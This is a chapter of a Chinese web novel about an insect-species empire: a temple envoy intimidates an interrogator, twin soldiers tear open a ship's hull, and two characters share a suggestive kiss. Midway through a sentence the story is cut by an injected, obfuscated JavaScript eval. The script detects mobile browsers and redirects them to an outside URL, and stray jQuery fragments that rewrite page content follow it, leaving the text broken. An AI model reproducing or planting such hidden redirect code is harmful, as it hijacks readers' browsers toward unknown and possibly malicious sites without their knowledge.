隔离审讯室里的寂静没有持续多久,涅法那带着凉意的声音就响了起来:
“真精彩。帝国最新型号的重力囚室,标准军用级照明系统,用来招待一位刚经历心口贯穿伤的A级冕下。”
他轻叹一声,语气满含怜惜:“瞧瞧这摔的,肋骨怕是都受了伤吧。还有这强烈的光线,冕下的眼睛现在都看不清了呢,真是让虫心疼。”
奥菲被喀戎拢在骨翼里,两只虫紧紧贴在一起。听到这话,喀戎侧头望向奥菲的眼睛,原本漂亮的粉色眼眸现在像蒙了一层厚重的灰尘,如同浑浊的玻璃珠子。
他抬手,指腹刚触到奥菲的眼睑,就被对方一把攥住手腕。
审讯官声音颤抖:“涅……涅法冕下,是奥菲冕下自己闯进来的,不关我们的事啊。”
涅法温和地笑了笑:“我当然明白各位的难处。只是刚才似乎听到有虫说,虽然是奥菲抓着上将的手捅进自己心脏的,但上将还要承担全部责任呢?这样的判断标准,实在让虫有些困惑。”
审讯官“噗通”一声跪下。
涅法继续补刀:“包括这艘医疗舰和押送舰上的各位,让一位A级冕下出了这种差错,责任追究怕是在所难免吧?真是替各位担心呢。”
审讯官冷汗如雨。
涅法的语气却依旧平静柔和:“当然,虫神爱护祂的每一个造物。身为神使,我怎么忍心看到各位因此受苦呢?”
他顿了顿,目光扫过眼前脸色发白的审讯官,“今天发生的这些不愉快,我都不会向外提及。您只需要这样对外说明:奥菲冕下主动表达了对其雌君的庇护意愿,各位依法按程序释放了喀戎上将,随后两位冕下被帕尔米隆星接回。如果帝国高层有任何疑问,让他们直接联系神殿就好。”
他语气温和得近乎体贴:“放心,奥菲冕下在我这里,会得到最妥善的照顾。我已向帝国承诺,在帕尔米隆星做客期间,将全力保障几位雄子的安全。”
涅法顿了顿,语气中透出真挚的遗憾:“只是恕我坦言,经历了今天这一系列的意外,我对贵方的医疗条件实在有些担忧。
我尊贵的客虫在这里先是心脏受创,又在重力审讯室里受伤,连视力都受到了影响……虽然我知道这些都是意外,但作为东道主,我实在不能安心继续让他在这里接受治疗。”
他温和而坚定地说道:“所以我想,最好还是让我立即接回这位贵客。毕竟,确保帝国雄虫在帕尔米隆星的安全与健康,这是我对我们双方友谊的郑重承诺,也是我必须承担的神圣职责。”
审讯官脸色惨白,在心中飞快权衡利弊片刻,随即额头重重磕在冰冷的金属地板上,颤声表示感谢,并连连承诺将全力配合后续的一切交接流程。
涅法闻言却笑了,语气意味深长:“交接?那倒不必了……本来以为他醒不过来,我们的虫已经提前出发了。现在估算着,‘双黄蛋’应该快到了。”
他偏头看向奥菲,一脸幸灾乐祸:“他们可想死你了呢,奥菲,你自求多福吧。”
话音刚落,伴随着一阵令虫牙酸的金属扯裂声,审讯室一面墙壁被从外部强行撕开。
合金墙如纸片般翻卷扭曲,连接着真空宇宙的裂缝敞开,寒潮轰然席卷,霎时冻结了审讯室的空气。
墙角的水渍化作冰霜,钢铁表面结起一层白雾,呼吸都带上了清晰的雾气。
喀戎猛地收紧骨翼,他低下头,下颌贴住雄虫凌乱的金发,将他几乎整个裹在怀里,将他因寒冷而泛红的皮肤贴紧自己温热的胸膛。
一颗覆盖着霜雪的硕大虫首探了进来。黑亮的复眼闪烁,两条长而灵活的触角不断嗅探空气。口器周围密布的毛随着呼吸微微颤动,渗出具有腐蚀性的透明黏液,滴落在金属地板上立刻腾起缕缕白烟。
帝国的雌虫从不这样。
在雄虫面前,他们从不敢袒露真正的虫体,拼命掩藏着自己的丑陋与暴力。可眼前这只虫,毫无遮掩地展露着它原始、粗粝、带着破坏性的身躯。
虫首转动,复眼转向喀戎,覆盖在关节处的冰层发出摩擦声。它庞大的身躯开始扭曲变形,外骨骼褪去,狰狞的口器回缩,最终化为一只令虫过目难忘的俊俏雌虫,一头浓黑的长发高高束起一半,其余披散在肩背,随着步伐微微晃动。
他从裂缝里优雅地跳了进来,步态摇曳生姿,走到喀戎身边,凝视着那严严实实包裹着的黑色骨翼。
“喀戎上将?”
喀戎微微敞开翅膀,他微微偏头,锐利的眼眸一瞬不瞬地锁定对方。
雌虫挑了挑眉,嘴角弯起:“你就是奥菲选的雌君?”
这时,裂缝里又跳进来一只雌虫,两只雌虫长得一模一样,同样精致的五官,同样修长的身材。
“维洛迦,你又丢下我。”
维洛迦回头:“兄长,我找到他了。”
厄里芬走近几步,目光从骨翼滑到喀戎的眼睛。他语气平静,却掩不住挑剔与讥讽:“这就是奥菲的雌君?”
双胞胎并肩而立,异口同声,语带轻蔑:“也不怎么样呢。”
喀戎靠坐在墙边,骨翼半张,闻言似笑非笑地收紧了怀抱,轻轻挑眉。
他故意将雄虫往怀里带了带,骨翼微微张开,露出他苍白的脸庞。深蜜色的手臂紧紧环住雄虫苍白的腰肢,病号服下摆被蹭得卷起,露出一截瓷白的肌肤,他用他带着厚茧的拇指暧昧地摩挲着。
“两位……要看多久?”他嗓音沙哑,骨翼故意又张开几分,年轻的雄虫正无意识地用脸颊磨蹭雌虫的胸膛,在深色的胸肌上留下一道湿痕。
两虫的瞳孔缩了缩。
——
喀戎记得着两只雌虫。
都是S级军雌。
上一世不知为何,他们悄然出现在沈池身边,以追求者的姿态围绕在他身旁。但对他时,总是语带嘲讽,处处透着莫名的敌意。
帝国从不缺俊美雌虫,但这对双胞胎偏偏格外惹眼。他们的长相精致又张狂,每一个眼神都带着掌控全场的自负,他们知道自己漂亮、强大,也不屑于掩饰那份嚣张的美,在帝国一众温顺驯服的雌性中格格不入,却反而更有吸引力。
沈池……曾经就吃这一套。
他记得前世那场针对他的军事审判里,他们一左一右站在沈池身后,棕色的眼眸里盛满戏谑,看着他被剥夺军衔。
他记得维洛迦当时把玩着沈池的发尾,在法庭上公然将脚踝搭在审判席;厄里芬更是直接坐在沈池的椅子扶手上,指尖卷着雄虫的领带。那种浑然天成的傲慢姿态,与此刻如出一辙。
原来……他们是神殿的虫?
喀戎早听说帕尔米隆星有一对双胞胎超S级军雌,没想到神殿最锋利的两把刀,是这般放浪形骸的模样。
怀里的奥菲突然不耐烦地动了下,打断了他的思绪。他骨翼微微一摆,似无意又似刻意地划过维洛迦制服包裹的大腿,在紧致的布料上割开一道狭长的口子,血珠悄然渗出。
这个充满挑衅的动作让双胞胎同时眯起眼睛,空气中仿佛弥漫起无声的硝烟。
“兄长,”空气沉默了一会儿,维洛迦斜睨了厄里芬一眼,“涅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632297|172572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法大人不是说,我们是来救奥菲的雌君的吗?”
“看起来他不需要。”厄里芬的声音清淡,眼神上下打量着喀戎,像是在评估某种不合格商品。
奥菲轻轻侧头,无法聚焦的眼睛缓慢地朝声音方向偏去,掀了掀眼皮,像是在表示自己看到他们了。
维洛迦弯腰靠近他,修长的手指虚点在雄虫苍白的脸颊上。
喀戎眼神陡然一凛。他没有出声,但骨翼边缘“哧”地一声抖了一下,锋锐的尖端若有若无地指向维洛迦。
维洛迦挑眉退后一步,看了眼喀戎,目光又回到奥菲身上,笑意盈盈,语气带着戏谑的温柔,“眼睛,看不见了吗?”
“肋骨也断了两根呢。”厄里芬补充。
两只军雌同时扬起嘴角,异口同声:
“真狼狈啊。”
维洛迦慢条斯理地打量着奥菲,眼神中掺着怜惜:“弟弟怎么伤成这样?被谁欺负了?”
“肯定是他的雌君不中用。”厄里芬语气讽刺,目光直勾勾地投向喀戎。
他们眨了眨眼,同时总结道:
“不如我们。”
“这么漂亮的眼睛蒙尘了。”维洛迦叹息着,指尖在空中轻轻描绘着奥菲的眼角。
“听说心脏也被捅了。”厄里芬语气平平。
两虫步步紧逼,唇边笑意越发明显:
“帝国的雌虫真粗鲁,这么漂亮的小雄子也下得去手。”
“肯定很疼吧。”维洛迦眼中泛着心疼的微光。
“眼泪都疼出来了。”厄里芬声音一顿,声音却异常轻柔。
“哥哥们会心疼的。”两虫再一次异口同声,笑容明艳而恶劣。
喀戎垂下眼,目光在他们眉眼间一寸寸扫过。
这几只虫,关系匪浅。
怀中传来的细微变化让喀戎心头一紧。奥菲的呼吸变得急促起来,胸膛贴着他不规律地起伏着。
喀戎垂眸望去,心脏瞬间狠狠一跳。
雄虫眼下隐隐泛起青紫,整只虫蜷缩在他怀里,每一次呼吸都显得那样艰难,像是有什么东西堵住了他的咽喉。
喀戎瞳孔骤缩,几乎瞬间意识到问题出在哪。
星舰外壳破裂了。舱室在泄压。
宇宙的真空正在悄无声息地蚕食着这个狭小的空间,一寸寸夺走维持生命的氧气。
怀中的雄虫根本不像他们这些能在宇宙中随意驰骋的雌虫,他的身体构造纤细脆弱,在这种环境下,每一秒都是煎熬。
忽的,雄虫猛地伸手扯住喀戎的头发,指尖掐进棕黑色的发丝里,野蛮地将雌虫的脸拖向自己。
唇齿磕碰,呼吸交缠。
他粗暴地撬开喀戎的唇,齿尖刺破皮肤,铁锈味在唇齿间蔓延,他贪婪地攫取着雌虫口中的氧气。
喀戎能感到雄虫的指尖扣在自己的后颈的虫纹上,感到那股带混合着血液的香甜信息素疯狂地挤进自己喉腔,雄虫的舌尖带着几分战栗地纠缠着他,唾液在唇齿间拉出银亮的丝,炽热、黏腻、毫无章法。
喀戎低低喘了一口气,抬手扣住他的后脑,回吻下去,把更多的氧气渡了过去。
唇舌交缠间传来细微暧昧的喘息,每一次分离都伴随着粘腻的水声,每一次重新贴合都更加激烈疯狂。
双胞胎的调笑凝固在嘴角。他们看着银丝混着血丝从紧贴交缠的唇缝间垂落,沿着雌虫绷紧的下颌缓缓流淌,看着雄虫因缺氧而泛红的眼尾,在苍白的肌肤上格外醒目。
两虫缓缓对视一眼,瞳孔微缩,喉结不由自主地滚动。